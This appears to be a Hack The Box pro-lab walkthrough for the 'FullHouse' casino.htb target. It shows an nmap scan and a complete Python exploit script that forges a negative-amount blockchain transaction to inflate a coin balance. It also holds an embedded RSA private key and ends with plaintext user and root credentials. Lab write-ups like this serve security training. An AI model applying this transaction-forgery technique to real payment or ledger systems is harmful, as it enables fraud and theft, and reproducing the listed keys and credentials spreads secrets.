FullHouse
https://app.hackthebox.com/prolabs/overview/fullhouse
Last updated
https://app.hackthebox.com/prolabs/overview/fullhouse
Last updated
First we gonna start with a basic recon-scan.
sudo nmap -v -sC -sV -A $ip -oX $name.xml
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://casino.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/2%OT=22%CT=1%CU=38718%PV=Y%DS=2%DC=T%G=Y%TM=66FD
OS:67DD%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Adding the domain to our host-file (etc/hosts)
10.13.38.31 casino.htb
We gonna visit the website where we can register a user
We got an Account with HTBCoins but to Access VIP we don't have enough Coins. We can download the python code.
script to get more coins
import requests
#import blocks.block
import time
import json
import base64
from copy import deepcopy
from collections import OrderedDict
from hashlib import sha512
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA
from Crypto.Signature import PKCS1_v1_5
url = "http://casino.htb/blockchain"
class Blockchain:
def __init__(self, local_address):
self.genesis = Block(index=0, previous_hash=1, transactions=[], nonce=0)
self.bank = local_address
transaction = Transaction(sender_address="0", receiver_address=local_address, amount=1000000000,
transaction_inputs='', genesis=True, ids='0')
self.genesis.transactions.append(transaction)
self.genesis.timestamp = 0
self.genesis.current_hash = self.genesis.get_hash()
self.blocks = [self.genesis]
self.resolve = False
def __str__(self):
chain = f'{self.genesis.index} ({0})'
# Ignore genesis
for block in self.blocks[1:]:
chain += f' -> {block.index} ({block.current_hash})'
return chain
def add_block(self, new_block):
if self.validate_block(new_block, 1):
self.blocks.append(new_block)
print(self.blocks)
return self
def mine_block(self, block, difficulty):
# Mine the whole block until the conditions are met
nonce = 0
block_to_mine = block
block_to_mine.nonce = nonce
# Update hash
block_hash = block_to_mine.get_hash()
while block_hash[:difficulty] != '0' * difficulty:
nonce += 1
block_to_mine.nonce = nonce
block_hash = block_to_mine.get_hash()
block_to_mine.current_hash = block_hash
self.add_block(block_to_mine)
return
def resolve_conflict(self, possible_chain):
new_blocks = possible_chain
tmp_blockchain = []
# Parse the json block to an actual block item
for id, block in enumerate(new_blocks["blockchain"]):
transactions = []
# Load transactions from the block
for t in block["transactions"]:
if id == 0:
transaction = Transaction(sender_address=t["sender_address"],
receiver_address=t["receiver_address"],
amount=int(t["amount"]),
transaction_inputs=t["transaction_inputs"],
ids=t["user_id"], genesis=True)
else:
transaction = Transaction(sender_address=t["sender_address"],
receiver_address=t["receiver_address"],
amount=int(t["amount"]),
transaction_inputs=t["transaction_inputs"],
ids=t["user_id"])
transaction.transaction_id = t["transaction_id"]
transaction.signature = t["signature"]
transaction.transaction_outputs = t["transaction_outputs"]
transaction.change = int(t["change"])
transactions.append(transaction)
block = Block(block["index"], transactions, block["nonce"], block["previous_hash"],
block["timestamp"])
block.current_hash = block.get_hash()
tmp_blockchain.append(block)
# If bigger chain is found, replace existing chain
if len(tmp_blockchain) > len(self.blocks) and self.validate_chain(tmp_blockchain):
self.blocks = tmp_blockchain
return self
def to_od(self):
od = OrderedDict([
('blockchain', [block.to_od() for block in self.blocks])
])
return od
def to_od_with_hash(self):
od = OrderedDict([
('blockchain', [(block.to_od(), block.current_hash) for block in self.blocks])
])
return od
def to_json(self):
# Convert object to json
return json.dumps(self.to_od(), default=str)
# ---------------------------------------------- VERIFICATION FUNCTIONS ----------------------------------------------
def validate_block(self, block, difficulty, new_chain = False):
if difficulty * "0" != block.get_hash_obj().hexdigest()[:difficulty]:
return False
to_test = deepcopy(block.transactions[0])
to_test.signature = ""
to_test = to_test.to_json()
h = SHA.new(to_test.encode('utf8'))
pub_key = block.transactions[0].sender_address
public_key = RSA.importKey(pub_key)
sign_to_test = PKCS1_v1_5.new(public_key)
if block.transactions[0].receiver_address == self.genesis.transactions[0].receiver_address \
or block.transactions[0].receiver_address == block.transactions[0].sender_address:
None
else:
if block.transactions[0].sender_address == self.genesis.transactions[0].receiver_address:
None
else:
return False
# Verify the amount of money, verify that the sender has enough money to send
if new_chain == False:
# Check that it sticks to the chain
print(self.blocks[-1].current_hash)
print(block.previous_hash)
if self.blocks[-1].current_hash != block.previous_hash and block.index != 0:
# Maybe the chain got updated, user still needs initial bonus money
if block.transactions[0].sender_address == self.genesis.transactions[0].receiver_address:
block.previous_hash = self.blocks[-1].current_hash
self.mine_block(block, 1)
return False
return True
def validate_chain(self, blockchain):
# Loop chain to validate that hashes are connected
money = {}
for (index, block) in enumerate(blockchain):
if index == 0:
money[block.transactions[0].receiver_address] = block.transactions[0].amount
block.current_hash = block.get_hash()
continue
print("in validate with index:"+str(index))
amount = block.transactions[0].amount
change = block.transactions[0].change
if block.current_hash != block.get_hash():
return False
if block.previous_hash != blockchain[index - 1].current_hash:
return False
if not(self.validate_block(block, 1, new_chain=True)):
return False
if money[block.transactions[0].sender_address] < amount:
return False
money[block.transactions[0].sender_address] = money[block.transactions[0].sender_address] - amount
try:
money[block.transactions[0].receiver_address] += amount
except:
money[block.transactions[0].receiver_address] = amount
#If we reach this part we need to update the DB with the new info
return True
class Block:
def __init__(self, index, transactions, nonce, previous_hash, timestamp=time.time()):
self.index = index
self.timestamp = timestamp
self.transactions = transactions
self.nonce = nonce
self.previous_hash = previous_hash
self.current_hash = None
def to_od(self):
od = OrderedDict([
('index', self.index),
('timestamp', self.timestamp),
('transactions', ([self.trans_to_od(trans) for trans in self.transactions])),
('nonce', self.nonce),
('previous_hash', self.previous_hash)
])
return od
def trans_to_od(self, trans):
try:
to_od= OrderedDict([
('sender_address', trans["sender_address"]),
('receiver_address', trans["receiver_address"]),
('amount', trans["amount"]),
('transaction_id', trans["transaction_id"]),
('transaction_inputs', trans["transaction_inputs"]),
('transaction_outputs', trans["transaction_outputs"]),
("signature",trans["signature"]),
("change",trans["change"]),
("user_id",trans["user_id"])])
except:
to_od = trans.to_od()
return to_od
def to_json(self):
return json.dumps(self.to_od(), default=str)
def get_hash(self):
return self.get_hash_obj().hexdigest()
def get_hash_obj(self):
return sha512(str(self.to_json()).encode('utf-8'))
class Transaction:
_id = 0 # Incremental id for each instance created
def __init__(self, sender_address, receiver_address, amount, transaction_inputs, ids, genesis=False):
self.sender_address = sender_address # Sender's public key
self.receiver_address = receiver_address # Receiver's public key
self.amount = amount # Transfer Amount
self.transaction_id = str(ids)+str(Transaction._id) # Transaction Id
self.transaction_inputs = transaction_inputs # Previous Transaction Id
self.transaction_outputs = [] # {id: (Receiver/Sender Address, Amount/Change)}
self.signature = '' # Proof that sender requested transaction
self.change = 0
self.user_id = ids
if not genesis:
total_utxo = 10000
self.change = total_utxo - self.amount
if self.change < 0:
self.change = 0
else:
self.change = -self.amount
self.transaction_outputs.append(
{str(self.user_id) + str(Transaction._id): (self.receiver_address, self.amount)})
Transaction._id += 1
self.transaction_outputs.append(
{str(self.user_id) + str(Transaction._id): (self.sender_address, self.change)})
else:
self.transaction_outputs.append({"0"+str(Transaction._id): (self.receiver_address, self.amount)})
Transaction._id += 1
def to_od(self):
# Convert object to ordered dictionary (so it produces same results every time)
od = OrderedDict([
('sender_address', self.sender_address),
('receiver_address', self.receiver_address),
('amount', self.amount),
('transaction_id', self.transaction_id),
('transaction_inputs', self.transaction_inputs),
('transaction_outputs', self.transaction_outputs),
('signature', self.signature),
('change', self.change),
('user_id', self.user_id)
])
return od
def to_json(self):
return json.dumps(self.to_od(), default=str)
def get_hash(self):
return self.get_hash_obj().hexdigest()
def get_hash_obj(self):
return sha512(str(self.to_json()).encode('utf-8'))
def sign_transaction(self, private_key):
priv_key = RSA.importKey(private_key)
my_sign = PKCS1_v1_5.new(priv_key)
transaction = self.to_od()
h = SHA.new(json.dumps(transaction, default=str).encode('utf8'))
self.signature = base64.b64encode(my_sign.sign(h)).decode('utf8')
receiver_key = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAt8W/0fucrZIMMv2bSbmvUQg0ZTKfmvcwKYA79aOtQ/OrJu/D
ZgPrxmkreB146jv8gX+67lVoJS+X4Rxo6FgFAAJD21zB1upwFiepmwvuGz8rHfkJ
UtEV2zEc2qLcYnfnhou7vrJylxw52pWgUuwacWIHnlDvyAghhzvUU3+d7tT1mDsw
IdI0dZGqW52o8DkOuw3Hqmoon+ezmG/pGXu4a/jUIjEw4UBitnfd4Zb/Wi2GpK8n
cb5xuD3o+sWj4ofSsWTF12ZLe2UpzZp7WRpi4v7F/z6ihWatLZX5BtoySgPZ0hRD
ghRbCyow+HI74Vq+7ByZDhSB+XK6NpDwbr6FlQIDAQABAoIBAA+coYyVqvxF1Xp5
d/k96IpiP40/TTbNfA5ygeV+x6fnqekPYlKmz59V7Obx3gVMHknkD33SzJuoHOd3
UeQ3Igmbp6cZjLAUz3vaV7q/uzUeWyvbLbMW5xvtYq2iO0W0OPuBoGv1Xe2/bJzI
rEuPGjn6oXoOFyivpCWIbCPByilxUieJw9PqRG+JAnBG8HzwZj72QEEU8/kQpIut
SX8ZXsDLURPnET3nxipFiDVQBRbZkUlejxcTpj13icBXCHBipcHz0ypy3QpcNbv9
sAKGc4ObXWxYG6CbpIQ+XDBUzpvB+O25042qTUbbPGqCwz/3H4Cq/GH99vGH75Pe
rVZ1QjECgYEA2F65G2F+z7aYDErzKL1jgKGoG95kPw2hQSDSqPWIoDS64xs91Y2F
9pleIFwPzDsdQXy2jEwVPOTsA9OZvVIiTLQ67pycD6V1bc5814xzHW+qai7a0bvB
zu8II2cWatfixnN5VSHHI3vl64cez6OHJmb+m43vMGU/h6Qsgxtxih0CgYEA2W6S
9ll2KYIlAHl8UtIeOEJAZLfCRYhoK1HZM7Uv6VSZA1cuWAppGfddLC6up/FCVlsh
2l1s0Yv9iF5hu1KSKh0vfbEZHWise4t0LSKj0iZuf17uFQloTiUKSRjPcCXL+p9h
gsfbma0Vuc9B0rMzAhRNji5l+JsIoxLaFU+vz9kCgYEAtkP8/MLBV2qCZQCSG0SG
2GnVOjy6B5+Mslda/fdv8zzYHc3p5cZFDjmd3/aNXEaD25GaGU9SKKzS4FpUzPWu
bRz58907XbbM2AY0hkMLCcXyMWZs8HaQyaf0HBaP/MsFfpTxpbRBk3OgeCqn2tPv
WnsyiYkj74mq3bF/yaXJnEUCgYBkCQOEY9SBdGchuMMCN7m/mHuX2xN+eiuzAo0z
xQCuEUX0y39+8gs47x3m3fNtQQqMQJFqreEK56VVwFamoG6vAY5//aLYbPguPxLM
UUudvCDKaRqQgyuCCHia+Nc3eaxHOlzalqjqI0ADpN9b2SZ2pnCoIaC4qFto65t6
gpcYwQKBgQDCn8jDFSjSdWLcF0tw+hhIFm6PilwQ90UJzgX0IKg5NeZWYGWa2aU9
jXwIN94q4Ec80b3AldqKh+pPyv6zxMfVSPSq8hYSqu9RcKGKfDzYjb9C5VAg+5nU
UwJvzdIieg0m7tt8IAKwlwHVGt38AiGG4HpKQunF1Nx5EvBg1cIm+A==
-----END RSA PRIVATE KEY-----"""
receiver_addr = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt8W/0fucrZIMMv2bSbmv\nUQg0ZTKfmvcwKYA79aOtQ/OrJu/DZgPrxmkreB146jv8gX+67lVoJS+X4Rxo6FgF\nAAJD21zB1upwFiepmwvuGz8rHfkJUtEV2zEc2qLcYnfnhou7vrJylxw52pWgUuwa\ncWIHnlDvyAghhzvUU3+d7tT1mDswIdI0dZGqW52o8DkOuw3Hqmoon+ezmG/pGXu4\na/jUIjEw4UBitnfd4Zb/Wi2GpK8ncb5xuD3o+sWj4ofSsWTF12ZLe2UpzZp7WRpi\n4v7F/z6ihWatLZX5BtoySgPZ0hRDghRbCyow+HI74Vq+7ByZDhSB+XK6NpDwbr6F\nlQIDAQAB\n-----END PUBLIC KEY-----"
json_blockchain = json.loads(requests.get("http://casino.htb/view_blockchain").text)
bank_wallet = json_blockchain['blockchain'][0]['transactions'][0]['receiver_address']
old_blockchain = Blockchain(bank_wallet)
lst_old_blocks = []
for json_block in json_blockchain['blockchain']:
appendblock = Block(**json_block)
appendblock.current_hash = appendblock.get_hash()
lst_old_blocks.append(appendblock)
old_blockchain.blocks = lst_old_blocks
transaction = Transaction(sender_address=receiver_addr, receiver_address=bank_wallet, amount=-9999, transaction_inputs={"0":-9999}, genesis=False, ids=2)
transaction.sign_transaction(receiver_key)
transactions = []
transactions.append(transaction)
new_block = Block(len(old_blockchain.blocks), transactions, old_blockchain.blocks[-1].index+1, old_blockchain.blocks[-1].get_hash(), timestamp=time.time())
new_block = Block(len(old_blockchain.blocks)-1, transactions, old_blockchain.blocks[-1].index+1, old_blockchain.blocks[-1].get_hash(), timestamp=time.time())
old_blockchain.mine_block(new_block, 1)
r = requests.post(url, json=old_blockchain.to_json())
User-Creds
casssandra:spVs9gvsk8p8lVJ
Root-Creds
root:4vQ03013nKj9